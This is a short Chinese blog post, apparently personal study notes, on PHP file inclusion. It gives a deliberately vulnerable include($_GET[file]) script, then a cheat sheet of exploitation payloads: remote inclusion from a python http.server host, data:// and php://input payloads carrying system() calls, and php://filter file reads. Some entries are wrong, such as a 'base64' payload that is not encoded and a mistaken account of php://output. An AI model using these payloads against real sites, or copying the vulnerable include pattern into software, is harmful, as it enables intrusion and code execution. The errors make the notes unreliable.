一、原理
新建1.php
<?php $file=$_GET[file]; if (isset($file)) { include($file); } else { echo "sorry not"; } ?>
远程文件包含:
应用伪协议 http://
python -m http.server 端口 //python3 *启用HTTP服务 python -m SimpleHTTPServer 端口 //python2
伪协议:
http:// phar:// //只可以解压.zip压缩包 php://filter/convert.base64-encode/resource=文件路径 //读文件
zip://
data://txt/plain,<?php system();?>
data://txt/plain;base64,<?php system();?>
data:,<?php system();?>
格式:?file=data://text/plain,payload ?> //执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。
file://路径 //访问本地文件系统
php:// //访问各个输入/输出流(I/O streams)
php://input //访问请求的原始数据的只读流 ,请求体插入一句话 <?php system();?>
php://output //访问请求的原始数据的只写流 ,请求体插入一句话 <?php system();?>
标签:文件,http,包含,plain,漏洞,php,data From: https://www.cnblogs.com/cshut/p/16861950.html